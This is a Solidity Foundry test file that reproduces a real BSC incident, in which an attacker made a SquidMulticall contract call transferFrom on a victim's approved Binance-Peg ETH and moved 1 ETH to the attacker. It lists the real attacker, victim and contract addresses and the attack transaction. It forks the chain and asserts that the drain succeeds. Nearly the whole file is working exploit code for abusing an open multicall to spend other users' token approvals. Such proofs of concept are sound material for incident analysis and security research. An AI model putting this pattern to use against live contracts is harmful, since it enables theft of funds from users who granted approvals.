src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1 ETH
8// Attacker : 0xe02b595ca69d8d3e120043536e6e76caea385a82
9// Attack Contract : 0x101c6e9f62554ddd3a32f395c655e20512ab321d
10// Vulnerable Contract : 0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4
11// Attack Tx : https://bscscan.com/tx/0x81d0c429ee7eae19d8c4d9d797dbd3828279060096e703b11cca739c9b1301e9
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4#code
15 
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2041530294369386806
18//
19// The attacker used SquidMulticall.run with one Default call whose target was the Binance-Peg ETH token.
20// Because the victim had approved SquidMulticall, the multicall contract could execute transferFrom and
21// move 1 ETH from the victim to the attacker.
22// The Twitter report notes about $800K of cross-chain approvals were at risk and about $512K was later
23// rescued by Defimon. This PoC is scoped to the exploit transaction, which transferred 1 ETH.
24 
25address constant ATTACKER = address(bytes20(hex"e02b595ca69d8d3e120043536e6e76caea385a82"));
26address constant SQUID_MULTICALL = address(bytes20(hex"ad6cea45f98444a922a2b4fe96b8c90f0862d2f4"));
27address constant VICTIM = address(bytes20(hex"acc0c1f672b03b9a5fed4535f840f09b85f40e98"));
28IERC20 constant ETH_TOKEN = IERC20(address(bytes20(hex"2170ed0880ac9a755fd29b2688956bd959f933f8")));
29 
30interface ISquidMulticall {
31    enum CallType {
32        Default,
33        FullTokenBalance,
34        FullNativeBalance,
35        CollectTokenBalance
36    }
37 
38    struct Call {
39        CallType callType;
40        address target;
41        uint256 value;
42        bytes callData;
43        bytes payload;
44    }
45 
46    function run(
47        Call[] calldata calls
48    ) external payable;
49}
50 
51contract ContractTest is BaseTestWithBalanceLog {
52    function setUp() public {
53        uint256 forkBlock = 91_122_249;
54        vm.createSelectFork("bsc", forkBlock);
55 
56        fundingToken = address(ETH_TOKEN);
57        attacker = ATTACKER;
58 
59        vm.label(ATTACKER, "Attacker");
60        vm.label(SQUID_MULTICALL, "SquidMulticall");
61        vm.label(VICTIM, "Victim");
62        vm.label(address(ETH_TOKEN), "ETH Token");
63    }
64 
65    function testExploit() public balanceLog {
66        uint256 attackerBefore = ETH_TOKEN.balanceOf(ATTACKER);
67        uint256 victimBefore = ETH_TOKEN.balanceOf(VICTIM);
68        uint256 allowanceBefore = ETH_TOKEN.allowance(VICTIM, SQUID_MULTICALL);
69        uint256 drainAmount = 1 ether;
70 
71        assertEq(allowanceBefore, type(uint256).max, "victim did not approve SquidMulticall");
72        assertGe(victimBefore, drainAmount, "victim did not hold enough ETH");
73 
74        // step 1: build the same SquidMulticall Call shape used by the exploit transaction.
75        ISquidMulticall.Call[] memory calls = new ISquidMulticall.Call[](1);
76        calls[0] = ISquidMulticall.Call({
77            callType: ISquidMulticall.CallType.Default,
78            target: address(ETH_TOKEN),
79            value: 0,
80            callData: abi.encodeCall(IERC20.transferFrom, (VICTIM, ATTACKER, drainAmount)),
81            payload: bytes("")
82        });
83 
84        // step 2: any caller can make SquidMulticall execute the token transferFrom.
85        vm.prank(ATTACKER, ATTACKER);
86        ISquidMulticall(SQUID_MULTICALL).run(calls);
87 
88        // step 3: prove the victim allowance was spent and the attacker received the trace amount.
89        uint256 attackerGain = ETH_TOKEN.balanceOf(ATTACKER) - attackerBefore;
90        uint256 victimLoss = victimBefore - ETH_TOKEN.balanceOf(VICTIM);
91        uint256 allowanceSpent = allowanceBefore - ETH_TOKEN.allowance(VICTIM, SQUID_MULTICALL);
92 
93        assertEq(attackerGain, drainAmount, "attacker did not receive ETH");
94        assertEq(victimLoss, drainAmount, "victim did not lose ETH");
95        assertEq(allowanceSpent, drainAmount, "allowance was not spent by ETH transferFrom");
96        emit log_named_decimal_uint("ETH drained through SquidMulticall", attackerGain, 18);
97    }
98}